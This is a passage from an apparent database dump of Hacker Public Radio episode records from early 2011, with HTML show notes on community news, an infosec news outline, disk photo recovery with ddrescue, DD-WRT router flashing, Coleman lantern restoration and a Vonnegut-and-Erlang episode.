Broam:: Dumpster Diving</li>\r\n<!-- More people rescuing old stuff and putting it to good use. This is Broam\'s first show and I hope not his last -->\r\n\r\n<h3>Podcasts by Phone</h3>\r\n<p>\r\nEvery listener is strongly encouraged to send us one contribution per year.<br />\r\nIn episode 636 pokey told us that his Mother also listens to the show from time to time<br />\r\nTo make it easy for <strong>everyone and anyone</strong> to contribute we now have call in lines<br />\r\n<li>US:  +1-206-312-5749 </li>\r\n<li>UK: +44-203-432-5879 </li>\r\n<br />\r\nPlease include your name and email address.<br />\r\nDON\'T FORGET TO ADD THE # SIGN AT THE END<br />\r\nThanks to Russ Woodman - K5TUX and Arron \'Finux\' Finnon for making this possible.\r\n</p>\r\n\r\n<h3>Automation and RSS feed</h3>\r\n<ul>\r\n<li>RSS Feed: Delayed as it requires DB changes</li>\r\n<!-- New feed created problems with Rhythmbox (Bill Plants), and gpodder Larry Bushey going linux podcast  -->\r\n<li>Website: Site update that will allow you to upload a show on the website.</li>\r\n</ul>\r\n<!-- \r\nAll or nothing deal. \r\nHosts will require a login and a valid email address. \r\n-->\r\n<h3>Syndicates Shows</h3>\r\n<!--  -->\r\n<p>\r\nI\'m running into some difficulties with how best to address syndicated shows and I\'d appreciate your feedback.\r\n</p>\r\n<p>\r\nThe background is that I\'m trying to specify scheduling rules (https://hackerpublicradio.org/calendar.php) trying to been fair to everyone but also with a view to automating the task. I\'ve taken the view that shows produced for HPR will get priority in the schedule before syndicated shows. This brings up the question of what is a syndicated shows.\r\n</p>\r\n<p>\r\nIf a show is posted to a RSS feed before been posted to HPR then it would be considered to be a syndicated show. However we have had resubmission of a series that was on a podcast that faded so probably no one heard them. Are theses shows now syndicated or do I schedule them as HPR shows ?\r\n</p>\r\n<p>\r\nWe have also had submissions from a host that posts to the HPR FTP server and their own feed at the same time. Because of the delay in HPR scheduling they come out later than their own RSS feed. So are these also now syndicated ?\r\n</p>\r\n<p>\r\nAfter hearing 635 Dismal Science:: Cloudy Predictions I was reminded that the speech <a href=\"https://www.softwarefreedom.org/events/2010/isoc-ny/FreedomInTheCloud-transcript.html\">Freedom In the Cloud: Software Freedom, Privacy, and Security for Web 2.0 and Cloud Computing</a> by A Speech given by Eben Moglen at a meeting of the Internet Society\'s New York branch on Feb 5, 2010 would be ideal for HPR. Then Fifty OneFifty emailed to say \"I noticed there hadn\'t been any recordings from LUG meetings in a while.  I thought you might want to ask for submissions where meetings or talks (from various fests) are already recorded.\" With the scheduling rules as they are at the moment, the syndicated don\'t ever get played.\r\n</p>\r\n<ol>\r\n<li>Time critical</li>\r\n<li>Scheduled Slots</li>\r\n<li>New Hosts</li>\r\n<li>HPR Content on a First in First Out basis.</li>\r\n<li>Syndicated shows on a First in First Out basis.</li>\r\n</ol>\r\n<p>\r\nOn the other side I\'ve had comments that the \"Flood Gates\" had been opened on the HPR feed.\r\n</p>\r\n<p>\r\nSo thinking about it I was thinking of reserving Tuesday and Thursday for syndicated shows, LUG talks, Speeches and the like.\r\n<!-- We could even create a diet hpr feed that would exclude these shows. -->\r\nFeedback to the mailing list https://hackerpublicradio.org/maillist\r\n</p>\r\n\r\n<h3>Design Competition</h3> \r\n<p>I would like to have some mini-business cards made. Go to <a href=\"https://kenfallon.com/?p=827\">https://kenfallon.com/?p=827</a> for more information.</p> \r\n\r\n<h3>HPR Promotion</h3>\r\n<ol>\r\n<li>Going Linux podcast re-purposed the \"Tom Merritt\" episode for their Christmas-break episode <a href=\"https://www.goinglinux.com/2010shownotes.html#glp124\">124</a>.</li>\r\n<li>Finux interviewed me on the first episode of his new podcasts <a href=\"https://www.finux.co.uk/\">Finux\'s Tech Weekly</li>\r\n<li>Dan and the lads at <a href=\"https://tllts.org/\">TLLTs</a> have been pimping HPR all month.</li>\r\n<li>Linux Outlaws gave us a big plug on episode <a href=\"https://linuxoutlaws.com/podcast/187\">187</a></li>\r\n<li>Jonathan Nadeau over at <a href=\"https://www.frostbitemedia.org/\">Frost Cast</a> for playing our promo</li>\r\n<li>Pokey has ordered the HPR stickers and thanks to Code Cruncher, Maia came to our rescue again. She uploaded all those shows to archive.org last month</li>\r\n</ol>\r\n\r\n<h3>Mirrors</h3>\r\n<p>\r\nArchive.org <a href=\"https://www.archive.org/details/hackerpublicradio\">https://www.archive.org/details/hackerpublicradio</a><br />\r\nJason Scott\'s textfiles.com <a href=\"https://audio.textfiles.com/shows/hpr/ \">https://audio.textfiles.com/shows/hpr/ </a>\r\n</p>\r\n\r\n<h3>Other News</h3>\r\n<ul>\r\n<li>Thanks Dave P. for point out that Caro.net link not working </li>\r\n<li>sp0rus has signed up for a \"Nameless Infosec Podcast on the first Tuesday of the month.</li>\r\n<li>Stank tells us that there is already an icecast server set up and running so we can stream HPR shows</li>\r\n<li>Ilan Rabinovitch links to banners for scale 9 which is on between 2011/02/25 and 2011/02/27</li>\r\n<li>If you have promotion banners please send them along and we\'ll add them to the site.</li>\r\n<!--\r\nAlso feel free to include promos in your shows\r\nIf anyone want\'s to do a what\'s coming soon show with promos and info please do.\r\n-->\r\n<li>I still haven\'t found a way to automate the upload to Archive.org - anyone want to investigate that ? </li>\r\n<li>We have a facebook group at <a href=\"https://hackerpublicradio.org/facebook\" target=\"_blank\">hackerpublicradio.org/facebook</a></li>\r\n<!-- I don\'t think there is a way to auto add people but anyone can join -->\r\n<li>We have a Linked-In group <a href=\"https://hackerpublicradio.org/linkedin\" target=\"_blank\">hackerpublicradio.org/linkedin </a></li>\r\n<li>We have a iTunes page at <a href=\"https://hackerpublicradio.org/itunes\" target=\"_blank\">hackerpublicradio.org/itunes</a></li>\r\n</ul>\r\n\r\n<h3>A word from our spammers</h3>\r\n<p>Only the last few are holding out now that we approve all comments but some still continue to visit.</p>\r\n',159,47,1,'CC-BY-NC-SA','Community News',0,2536,1),
(652,'2011-02-01','Nameless Infosec Podcast Ep 1',2881,'A look at what is happening in the world of Information Security','<UL>\r\n<LI>Introduction\r\n      <UL>\r\n      <LI>Who we are\r\n      <LI>What this podcast is\r\n      </UL>\r\n<LI>What we\'re working on\r\n<LI>Stories\r\n    <UL>\r\n    <LI>E-mail Spam Statistics <A HREF=\"https://bit.ly/g2WRny\">https://bit.ly/g2WRny</A>\r\n    <LI>Hackers steal $150,000 with malicious job application <A HREF=\"https://bit.ly/f7b08z\">https://bit.ly/f7b08z</A>\r\n    <LI>Kama Sutra Virus <A HREF=\"https://bit.ly/exZY8c\">https://bit.ly/exZY8c</A>\r\n    <LI>The Disappearance of Dancho Danchev <A HREF=\"https://zd.net/hhVkAw\">https://zd.net/hhVkAw</A>\r\n    <LI>More Problems With GSM? <A HREF=\"https://bit.ly/dTFg4y\">https://bit.ly/dTFg4y</A>\r\n    <LI>Botnets in 2011 <a href=\"https://bit.ly/ihstA1\">https://bit.ly/ihstA1</a>\r\n    </UL>\r\n<LI>Conferences\r\n    <UL>\r\n    <LI>Shmoocon\r\n      <UL>\r\n      <LI>January 28th-30th\r\n      <LI>Washington, D.C.\r\n      <LI><A HREF=\"https://www.shmoocon.org\">https://www.shmoocon.org</A>\r\n      </UL>\r\n    <LI>BSidesSF\r\n      <UL>\r\n      <LI>February 14-15\r\n      <LI>San Francisco, CA\r\n      <LI><A HREF=\"https://bit.ly/BSidesSF\">https://bit.ly/BSidesSF</A>\r\n      </UL>\r\n    <LI>RSA\r\n      <UL>\r\n      <LI>February 14-18\r\n      <LI>San Francisco, CA\r\n      <LI><A HREF=\"https://www.rsaconference.com/\">https://www.rsaconference.com/</A>\r\n      </UL>\r\n    <LI>Indiana Linux Fest 2011\r\n      <UL>\r\n      <LI>March 15-17\r\n      <LI>Indianapolis, IN\r\n      <LI><A HREF=\"https://www.indianalinux.org/\">https://www.indianalinux.org/</A>\r\n      </UL>\r\n    <LI>Outerz0ne 7\r\n      <UL>\r\n      <LI>Atlanta, GA\r\n      <LI><A HREF=\"https://www.outerz0ne.org/\">https://www.outerz0ne.org/</A>\r\n      </UL>\r\n    </UL>\r\n<LI>Closing Thoughts\r\n<LI>Witty Banter\r\nWhere to find us:<br />\r\n@biosshadow - <A HREF=\"https://www.biosshadow.com\">https://www.biosshadow.com</A><br />\r\n@jmstitt - <A HREF=\"https://squaringcircles.blogspot.com\">https://squaringcircles.blogspot.com</A>\r\n</UL>\r\n',144,0,1,'CC-BY-NC-SA','Nameless Infosec Podcast, security, information security',0,2381,1),
(653,'2011-02-02','Intro to Black Box Testing',2590,'A brief overview of software testing methodologies','<P>\r\nHeisenbug and Cloud4 give a basic introduction to Black Box Testing.  This is a first lesson of how to find problems or vulnerabilities in software without access to the source code, and explanation as to why companies and individuals should black box test products. \r\n</P>\r\n<P>\r\nPlease email comments to <A HREF=\"mailto:littlecodemonkey@gmail.com\">littlecodemonkey@gmail.com</A>.\r\n</P>',145,0,1,'CC-BY-NC-SA','testing,development',0,2631,1),
(654,'2011-02-03','Offline Filesharing',397,'Offline peer-to-peer filesharing with dead drops and off-the-grid hubs','<P>\r\nSorry about the coughing and stuttering, I\'m fighting off a cold and am not a particularly strong speaker.\r\nNY Dead Drops \r\n<A HREF=\"https://blogs.discovermagazine.com/discoblog/2010/11/02/usb-ports-on-new-york-city%E2%80%99s-streets-plug-in-if-you-dare/\">https://blogs.discovermagazine.com/discoblog/2010/11/02/usb-ports-on-new-york-city%E2%80%99s-streets-plug-in-if-you-dare/</A>\r\nPirateBox\r\n<A HREF=\"https://wiki.daviddarts.com/PirateBox\">https://wiki.daviddarts.com/PirateBox</A>\r\nDroopy\r\n<A HREF=\"https://stackp.online.fr/?p=28\">https://stackp.online.fr/?p=28</A>\r\n</P>',146,0,1,'CC-BY-NC-SA','\"file transfer\",\"peer to peer\"',0,2376,1),
(655,'2011-02-04','Read \'n Code - 2 Camus\'s The Plague and Reddit.com',1534,'An overview & analysis of \"The Plague\", and how it relates to Reddit','<p>In this podcast I review the comments I received for the first one as well as bring the good news of the website being complete.\r\n</p><p>\r\nAlso, I go over a few quotes from <emphasize>The Plague</emphasize> by Albert Camus and compare it to the popular hacker news website, <a href=\"https://reddit.com\">Reddit.com</a>. More time is spent on the Read part than the Code part, but maybe that will even out in the future. It\'s easier to cover book quotes than code snippets from Erlang on a podcast.</p>',132,44,1,'CC-BY-NC-SA','books,literature',0,2474,1),
(656,'2011-02-07','My first steps in recovering pictures',515,'A overview of file recovery tools, especially those used to recover pictures','<P>\r\nThis is my first podcast ever and I show you how easy it is to recover pictures from a dying disk. It\'s not high-tech as I found out (using the commands anyway).\r\nLinks to the used tools and PartedMagic:\r\n</P>\r\n\r\n<UL>\r\n<LI>Photorec (recover pictures and other files on havily dammaged filesystem)\r\n</UL>\r\n\r\n        <BLOCKQUOTE>\r\n                <BLOCKQUOTE>\r\n                <A HREF=\"https://www.cgsecurity.org/wiki/PhotoRec\">https://www.cgsecurity.org/wiki/PhotoRec</A>\r\n                </BLOCKQUOTE>\r\n        </BLOCKQUOTE>\r\n\r\n<UL>\r\n<LI>Ddrescue {fancy imaging-tool to get data from dammaged media}\r\n</UL>\r\n\r\n        <BLOCKQUOTE>\r\n                <BLOCKQUOTE>\r\n                <A HREF=\"https://www.gnu.org/software/ddrescue/ddrescue.html\">https://www.gnu.org/software/ddrescue/ddrescue.html</A>\r\n                </BLOCKQUOTE>\r\n        </BLOCKQUOTE>\r\n\r\n<UL>\r\n<LI>PartedMagic\r\n</UL>\r\n\r\n        <BLOCKQUOTE>\r\n                <BLOCKQUOTE>\r\n                <A HREF=\"https://partedmagic.com/doku.php?id=start\">https://partedmagic.com/doku.php?id=start</A>\r\n                </BLOCKQUOTE>\r\n        </BLOCKQUOTE>\r\n<P>\r\nThe switches I used in ddrescue as given in their documentation:\r\n</P>\r\n\r\n<UL>\r\n<LI>ddrescue -f -n /dev/hdb1 /dev/hdc1 logfile\r\n<LI>ddrescue -d -f -r3 /dev/hdb1 /dev/hdc1 logfile\r\n<P></P>\r\nPlease send feedback, advise, whatever to: sven@@noblanks.org\r\n</UL>',147,0,1,'CC-BY-NC-SA','\"file recovery\"',0,2473,1),
(657,'2011-02-08','HPR Video Proposal',422,'Droops submits his proposal for a video companion that would exist alongside HPR','<p>Myself and others would like to release video shows to acompany regular HPR shows.  I am propsing this to the HPR audience and am looking for comments.</p>\r\n',1,0,1,'CC-BY-NC-SA','hpr,video',0,2309,1),
(658,'2011-02-09','Music Management Consoles',1906,'Courtney and Mark from podcast Degrees of Freedom discuss *nix open source music management software','<P>\r\nDegrees of Freedom is a podcast about Free-Libre Open Source Software brought to you by Courtney Schauer and me. We\'re still exploring goals and dreams for the show (in other words, the degrees of freedom are high) but we do know that the show will be bi-monthly (in the fortnight way, not the every two months way) and will start with reviews of different applications for GNU/Linux.\r\n</P>\r\n<UL>\r\n<LI>Rhythmbox\r\n<LI>Songbird\r\n<LI>Gnome Music Project\r\n<LI>Banshee\r\n<LI>Amarok\r\n<LI>Miro\r\n<LI>Guayadeque\r\n<LI>Muine\r\n</UL>',148,0,1,'CC-BY-NC-SA','music,player,Rhythmbox,Songbird,\"Gnome Music Project\",Banshee,Amarok,Miro,Guayadeque,Muine',0,2622,1),
(659,'2011-02-10','10 Buck Review - Serenity',3808,'10 Buck Review covers Serenity, a follow-up to the television series, Firefly','<p>Step into the verse where the signal can’t be stopped.\r\n<br />\r\n<a href=\"https://tenbuckreview.net/2009/episode-5-serenity/\">https://tenbuckreview.net/2009/episode-5-serenity/</a></p>',24,109,1,'CC-BY-NC-SA','10 Buck Review',0,2313,1),
(660,'2011-02-11','An argument against emulators when retrocomputing',1130,'An argument against emulators, explaining why using retro hardware is the superior option.','<P>\r\nI was moved by Ken Fallon\'s cry for submissions, so here\'s my first podcast:  An argument against using emulators when retrocomputing.  In short, there are some semi-intangible things you can\'t get from an emulator that you can only get from the real hardware, so use real hardware when you can.  Examples contained within.\r\n</P>\r\n<P>\r\nMentioned or hinted at on the show:\r\n</P>\r\n<P>\r\nAndrew Jenner\'s proposal to rewrite the CRTC emulation for MESS: <A HREF=\"https://www.reenigne.org/blog/crtc-emulation-for-mess/\">https://www.reenigne.org/blog/crtc-emulation-for-mess/</A>\r\n</P>\r\n<P>\r\nIan Bogost\'s work on adding more realistic display techniques to Stella, a 2600 emulator:  <A HREF=\"https://www.bogost.com/games/a_television_simulator.shtml\">https://www.bogost.com/games/a_television_simulator.shtml</A>\r\n</P>\r\n<P>\r\nSend feedback, criticism, etc. to: <A HREF=\"mailto:trixter@oldskool.org\">trixter@oldskool.org</A>\r\n</P>',149,0,1,'CC-BY-NC-SA','emulation,retro,\"retro gaming\",\"vintage hardware\"',0,2914,1),
(661,'2011-02-14','War walking with smart phone',214,'Finding open wireless networks in a neighbourhood using a smartphone','<P>\r\nWar walking with smart phone\r\n<A HREF=\"mailto:quvmoh@gmail.com\">quvmoh@gmail.com</A>\r\n</P>\r\n\r\n<UL>\r\n<LI><A HREF=\"https://webword.com/moving/warchalking.html\">https://webword.com/moving/warchalking.html</A>\r\n<LI><A HREF=\"https://code.google.com/p/wardrive-android/\">https://code.google.com/p/wardrive-android/</A>                                                                                                                                          \r\n<LI><A HREF=\"https://wigle.net/\">https://wigle.net/</A>   \r\n</UL>',110,0,1,'CC-BY-NC-SA','Wardriving,Warwalking,Warchalking,GPS',0,2573,1),
(662,'2011-02-15','DD-WRT',1287,'Xoke records an HPR episode while installing DD-WRT','<p>Apologies for the bad quality.  I really was installing DD-WRT whilst recording, for the first time!  I tried to tidy it up but it&#8217;s still fairly rough!</p> \r\n<ol> \r\n<li>Go the the <a href=\"https://www.dd-wrt.com/\">DD-WRT</a> website.</li> \r\n<li>Go to <a href=\"https://www.dd-wrt.com/site/support/router-database\">Router Database</a>.</li> \r\n<li>Search for your Router (or one you might want to buy), in my case the <a href=\"https://www.newegg.com/Product/Product.aspx?Item=N82E16833124190\">Linksys WRT54GL from NewEgg</a> (note:  NOT a sponsored link and other shops are available).</li>                                                                                                                   \r\n<li>Read this stuff: <a href=\"https://www.dd-wrt.com/phpBB2/viewtopic.php?t=51486\">https://www.dd-wrt.com/phpBB2/viewtopic.php?t=51486</a></li>                                       \r\n<li>Notes:  Initial flashing &#8216;Mini Generic&#8217; via web interface.   Give it at least 2 mins after reboot!</li>                                                             \r\n<li>Installation guide: <a href=\"https://www.dd-wrt.com/wiki/index.php/Installation\">https://www.dd-wrt.com/wiki/index.php/Installation</a></li>                                      \r\n<li>Lifehacker article: <a href=\"https://lifehacker.com/178132/hack-attack-turn-your-60-router-into-a-600-router\">https://lifehacker.com/178132/hack-attack-turn-your-60-router-into-a-600-router</a></li>                                                                                                                                                                \r\n<li>Short version:                                                                                                                                                                  \r\n<ol>                                                                                                                                                                                \r\n<li>Plug in the router</li>                                                                                                                                                         \r\n<li>Install the mini-generic DD-WRT firmware</li>                                                                                                                                   \r\n<li>Reboot the router if it doesn&#8217;t restart itself</li>                                                                                                                       \r\n<li>Install the full DD-WRT firmware.  It should restart</li>                                                                                                                       \r\n<li>Enjoy the shininess of the new firmware!</li>                                                                                                                                   \r\n<li>Reset the password and username!</li>                                                                                                                                           \r\n</ol>                                                                                                                                                                               \r\n</li>                                                                                                                                                                               \r\n</ol>                                                                                                                                                                               \r\n<p><span style=\"line-height: normal; font-size: x-small;\"><span style=\"font-size: small;\"><span style=\"line-height: 19px;\">Thoughts.</span></span></span></p>                       \r\n<li style=\"padding-left: 30px;\"><span style=\"font-size: small;\">The router restarts itself when you flash the firmware, which is nice.</span></li>                                  \r\n<li style=\"padding-left: 30px;\"><span style=\"font-size: small;\">If you change the IP of the router you may have to disconnect and reconnect the network through linux to force it to update the new IP address.  Don&#8217;t forget like I did!<br />                                                                                                                   \r\n</span></li> \r\n<li style=\"padding-left: 30px;\"><span style=\"font-size: small;\">To set up a Wii via Wi-Fi you need to set the router up as &#8216;Ad-Hoc&#8217; else it doesn&#8217;t seem to show in the Wii menu.</span></li> \r\n<li style=\"padding-left: 30px;\"><span style=\"font-size: small;\">I had problems with my previous router being 192.168.1.1 and the DSL being 192.168.0.1 making me hard reset and set the details back up.  Might be unrelated to this, however changing the IP to 192.168.10.1 for the router and keeping 192.168.0.1 for the DSL resolved this problem.</span></li> \r\n<li style=\"padding-left: 30px;\"><span style=\"font-size: small;\">It was pretty damn simple!  At least a lot simple and faster then installing windows!</span></li> \r\n<li style=\"padding-left: 30px;\"><span style=\"font-size: small;\">Total time isn&#8217;t too long, but I&#8217;d recommend having a second router on hand (if you can) to keep internet access in case things go hairy!<br /> \r\n</span></li>',79,0,1,'CC-BY-NC-SA','WiFi,Wireless,DDWRT,Hardware',0,2535,1),
(663,'2011-02-16','What is on your mp3 player',1294,'Podcast listening, and some suggestions of what to listen to','<h3>errata and clarifications</h3>\r\n<P>\r\nI use hpodder to catch podcasts.  Great podcast client for hackers IMO; Easy to script and make it do what you want.  I run it from a cronjob nightly.\r\n</P>\r\n<h3>links</h3>\r\n<UL>\r\n<LI>Planet Money: <A HREF=\"https://goo.gl/KC7Fb\">https://goo.gl/KC7Fb</A>                                                                                                                                                                 \r\n<LI>rockbox: <A HREF=\"https://www.rockbox.org/\">https://www.rockbox.org/</A>                                                                                                                                                             \r\n<LI>hpodder: <A HREF=\"https://jgoerzen.github.com/hpodder/\">https://jgoerzen.github.com/hpodder/</A>                                                                                                                                                 \r\n<LI>hpodder documentation: <A HREF=\"https://goo.gl/lTAyc\">https://goo.gl/lTAyc</A>                                                                                                                                                                 \r\n<LI>Super Mono BT to redirect audio on Android: <A HREF=\"https://goo.gl/LYdZ4\">https://goo.gl/LYdZ4</A>                                                                                                                                                                 \r\n<LI>Cyanogenmod: <A HREF=\"https://goo.gl/fUQ4\">https://goo.gl/fUQ4</A>\r\n</UL>\r\n',140,75,1,'CC-BY-NC-SA','\"Sansa E200\",Rockbox,\"iPod Mini\",hpodder,Android,Cyanogenmod',0,2815,1),
(664,'2011-02-17','A Little Bit of Python: Episode 13',2452,'News about Python - the SEC mandates python for filing, community funding, and more','<P>\r\n<a href=\"https://bitofpython.com/\">A Little Bit of Python</a> is an occasional podcast on all things <a href=\"https://python.org\">Python</a>. The four protagonists on the show are all core Python developers and members of the Python Software Foundation. They are: <a href=\"https://www.voidspace.org.uk\">Michael Foord</a> (author of IronPython in Action and maintainer of unittest), <a href=\"https://www.amk.ca/\">Andrew Kuchling</a> (creator of PyCrypto and one of the python.org webmasters), <a href=\"https://holdenweb.com/\">Steve Holden</a> (PSF chairman), <a href=\"https://sayspy.blogspot.com/\">Dr. Brett Cannon</a> (author of importlib amongst other things) and <a href=\"https://jessenoller.com/\">Jesse Noller</a> (maintainer of multiprocessing).\r\n</P>\r\n<P>\r\nSeveral topics are covered in this 40-minute episode:\r\n</P>\r\n\r\n<UL>\r\n<LI>Python 2.7 beta 1 released.\r\n<LI>PEP 3147: New bytecode directory layout.\r\n<LI>Google\'s Summer of Code beginning.\r\n<LI>SEC proposes mandating Python\'s use in financial filings.\r\n<LI>PyCon interview: Dr Tim Couper\r\n<LI>How to Fund Python Development\r\n<LI>Python for Beginners: Getting started on Windows.\r\n<P></P>\r\n</UL>\r\n',121,38,1,'CC-BY-NC-SA','community,python,news,\"syndicated thursday\",syndication',0,2896,1),
(665,'2011-02-18','Hacking the Craps Table',2441,'A mathematical technique for playing craps that aims for financial gain and social ruin','<p>How to play craps the proper way, using the odds to your advantage even if it\'s against conventional wisdom.</p>\r\n<p>\r\n<a href=\"https://upload.wikimedia.org/wikipedia/commons/a/a4/Craps_table_layout.svg\">https://upload.wikimedia.org/wikipedia/commons/a/a4/Craps_table_layout.svg</a>\r\n\r\n</p>',127,0,1,'CC-BY-NC-SA','math,games,gambling',0,9702,1),
(666,'2011-02-21','Salvaging old Coleman lanterns and stoves',2063,'Purchasing, utilizing, and refurbishing pre-owned Coleman lanterns and stoves','<P>\r\nThis show discusses getting neglected lanterns/stoves back into\r\nrunning condition.  It is not about restoring them to pretty,\r\nlike-new, \"shelf queen\" condition.\r\n</P>\r\n<h3>errata and clarifications, roughly timecoded</h3>\r\n<P>\r\n@18mins - The little cup is to hold alcohol, which is burned to \"prime\"\r\nthe system.  The burning alcohol preheats the generator so the higher-\r\nflashpoint kero can ignite without drama.\r\n</P>\r\n<P>\r\ns/sided lantern/sided globe/g\r\n</P>\r\n<P>\r\n@19mins -  s/possible/practical/\r\n</P>\r\n<P>\r\n@20mins - varnish might be removed by sitting in fresh fuel, or more\r\nlikely by sitting in 90% isopropyl or methanol.  I filter the alcohol\r\nafter use and use it to prime kero gear, as above.\r\n</P>\r\n<P>\r\n@27mins - the generator can get internally gummed up, particularly when\r\nrunning unleaded in a unit not designed for that.\r\n</P>\r\n<P>\r\n@29mins - black _body_ luminosity\r\n</P>\r\n<P>\r\n@30mins - might want to plug the air tube on a stored suitcase stove\r\nto block the progress of the aforementioned spiders.\r\n</P>\r\n<P>\r\ns/impermeable/impervious/\r\n</P>\r\n<P>\r\n@33mins this isn\'t that unusual;  stove/lantern fettlers skew older, \r\ndemographically speaking\r\n</P>\r\n<h3>links</h3>\r\n<P>\r\nAmerican Coleman forum:\r\n<A HREF=\"https://oldtownyucca.websitetoolbox.com/\">https://oldtownyucca.websitetoolbox.com/</A>\r\n</P>\r\n<P>\r\nEuropean forum:\r\n<A HREF=\"https://www.spiritburner.com/fusion/index.php\">https://www.spiritburner.com/fusion/index.php</A>\r\n</P>\r\n<P>\r\nFear the \"turd\": \r\n<A HREF=\"https://goo.gl/Q9seh\">https://goo.gl/Q9seh</A>\r\n</P>\r\n<P>\r\nTroubleshooting, [dis-]assembly, etc:\r\n</P>\r\n<P>\r\nPetromax lantern cutaway: \r\n<A HREF=\"https://goo.gl/yMEZG\">https://goo.gl/yMEZG</A>\r\n</P>\r\n<P>\r\nMy page about picking a stove, including fuel selection:\r\n<A HREF=\"https://www.mousetrap.net/mouse/prep/whatstove.html\">https://www.mousetrap.net/mouse/prep/whatstove.html</A>\r\n</P>\r\n<P>\r\nLast completed: 1944 242c single mantle round globe\r\n<A HREF=\"https://goo.gl/zaXkT\">https://goo.gl/zaXkT</A>\r\n</P>\r\n<P>\r\nCurrent project: 1990 222b single mantle hiking lantern\r\n<A HREF=\"https://goo.gl/qddDn\">https://goo.gl/qddDn</A>\r\n</P>\r\n<P>\r\nSportster stove stored in a coffee can:\r\n<A HREF=\"https://goo.gl/u2aIo\">https://goo.gl/u2aIo</A>\r\n</P>\r\n<P>\r\nParts for older gear:\r\n<A HREF=\"https://www.oldcolemanparts.com/home.php\">https://www.oldcolemanparts.com/home.php</A>\r\n</P>',140,0,1,'CC-BY-NC-SA','camping,restoration',0,2569,1),
(667,'2011-02-22','Your Local Library',428,'An overview of some resources provided by American libraries','<p>This is a short podcast about the resources available at local libraries.\r\nComments or criticisms can be emailed to johninsc@myway.com.</p>',135,0,1,'CC-BY-NC-SA','libraries',0,2364,1),
(668,'2011-02-23','Read \'n Code - 3 Kurt Vonnegut\'s Slaughterhouse-five and Erlang',1244,'Kurt Vonnegut\'s novel Slaughterhouse-five considered with the Erlang language','<P>\r\nIn this podcast I discuss Kurt Vonnegut\'s novel Slaughterhouse-five. I then talk a little about Erlang, the computer language. As always, I end with an attempt to reconcile and compare these apparently dissimilar concepts.\r\n</P>\r\n<P>\r\n<h3>Raw show notes:</h3>\r\n</P>\r\n<P>\r\nWe\'re in iTunes! Using Ken Fallon\'s RSS podcast from HPR, I managed to create the RSS feed required for a podcast to be in iTunes.\r\n</P>\r\n<P>\r\n<h3>Kurt Vonnegut</h3>\r\nborn after WWI, died in 2007. Served in WW2\r\nwrote Slaughterhouse-five the year Neil Armstrong landed on the moon.\r\npostmodernism (started after WW2), and I guess continues today, since Thomas Pynchon is still alive.\r\n</P>\r\n<P>\r\nIn short, postmodernist literature takes everything with a large grain of salt, and the stories are often a commentary on the story itself. (like a recursive function) (e.g.: \"That was I. That was me. That was the author of this book.\")\r\n</P>\r\n<P>\r\n<h3>Slaughterhouse-five</h3>\r\n</P>\r\n\r\n<UL>\r\n<LI>About an emaciated, fatalistic, and ill-trained soldier named Billy Pilgrim in WW2, who is once compared to a broken kite.\r\n<LI>The narrative is nonlinear, but it follows some of Billy\'s experiences in Germany, and then getting caught and shipped to Dresden for community work, where they stay in an old meat-packing house called \"Schlachtof-funf\"\r\n<LI>When Dresden is bombed, most are killed, but the American soldiers survived and experienced the total destruction of the city\r\n<LI>Billy then returns to the US, where he becomes and optometrist, and marries an undesirable obese woman, whose father has a lot of money, and they have children.\r\n<LI>He suffers head injuries in a plane crash (of which he is the only survivor) and starts thinking he has made a connection with the alien people of Tralfamadore, with whom he has traveled in time and has seen all that will happen in the future.\r\n<LI>He starts giving radio talks and speeches about the nature of time and flying saucers, and he dies shot at one of these events in Chicago.\r\n</ul>\r\n<h3>Quotes:</h3>\r\n<P>\r\nAll this happened, more or less. The war parts, anyway, are pretty much true. One guy I knew really was shot in Dresden for taking a teapot that wasn\'t his.\r\n</P><P>\r\nAs an Earthling, I had to believe whatever clocks said -- and calendars.\r\n</P><P>\r\nAll this responsibility at such an early age made her a bitchy flibbertigibbet.\r\n</P><P>\r\nThe gun made a ripping sound like the opening of the zipper on the fly of God Almighty\r\n</P><P>\r\n\"There\'s more to life than what you read in books,\" said Weary.\r\n</P><P>\r\nLike so many Americans, she was trying to construct a life that made sense from things she found in gift shops.\r\n</P><P>\r\nOne scout hung his head, let spit fall from his lips. The other did the same. They studied the intinitesimal effects of spit on snow and history.\r\n</P><P>\r\nNow they were dying in the snow, feeling nothing, turning the snow to the color of raspberry sorbet.\r\n</P><P>\r\nRosewater told a psychiatrist: \"I think you guys are going to have to come up with a lot of wonderful new lies, or people just aren\'t going to want to go on living.\"\r\n</P><P>\r\nSo they were trying to re-invent themselves and their universe. Science fiction was a big help.\r\n</P><P>\r\n\"That\'s the attractive thing about war,\" said Rosewater. \"Absolutely everybody gets a little something.\"\r\n</P><P>\r\n\"I\'m afraid I don\'t read as much as I ought to.\" said Maggie.<br />\r\n\"We\'re all afraid of something,\" Trout replied. \"I\'m afraid of cancer and rats and Doverman pinschers\"\r\n</P><P>\r\nAnd then Russians came on motorcycles, and they arrested everybody but the horses.\r\n</P><P>\r\nSo it goes. (appears 106 times in the novel)\r\n</P><P>\r\nThere used to be a dog named Spot, but he died. So it goes.<br />\r\nThe champagne was dead. So it goes.<br />\r\nThe water was dead. So it goes. Air was trying to get out of that dead water. Bubbles were clinging to the walls of the glass, too weak to climb out.\r\n</P>\r\n\r\n<h3>Erlang:</h3>\r\n<p>based on a one day training session with Kevin Smith @kevsmith\r\ndesigned by Ericsson in 1986 to support big fault-tolerant applications, released open source in 1998. Stands for Ericsson Language.\r\n</P>\r\n\r\n<h3>multicore</h3>\r\n<UL>\r\n<LI>main feature: great support for concurrency (doing multiple things at the same time)\r\n <UL>\r\n <LI>Though I\'m not an expert, languages such as Java and Python struggle to efficiently use machines that have tens or hundreds of cores.\r\n <LI>Erlang has these lightweight processes with minimal overhead, allowing the rapid creation of hundreds of thousands of these processes. These processes have no shared state. They know nothing about each other. They communicate through asynchronous message passing. each process has a mailbox, which it checks to see if it has the message it wants, and then deletes it after it\'s consumed. Very much how we would ideally check our own email inboxes.\r\n </UL>\r\n<LI>to start one of these you just call spawn(Fun), which returns a pid (process ID)\r\n</UL>\r\n\r\n<h3>functional</h3>\r\n<UL>\r\n<LI>Immutable variables\r\n  <UL>\r\n  <LI>assignment only\r\n  </UL>\r\n<LI>functions are first class citizens, that can be used like any other data, like an integer.\r\n<LI>this basically replaces the need for objects in OO languages\r\n<P></P>\r\n</UL>\r\n<h3>proven</h3>\r\n<UL>\r\n<LI>CouchDB, Membase, Riak, RabbitMQ\r\n</ul>\r\n<P>\r\n<h3>Similarities:</h3>\r\n</P>\r\n<P>\r\nAll this happened, more or less.\r\nspawn(Module, Function, Args) -&gt; 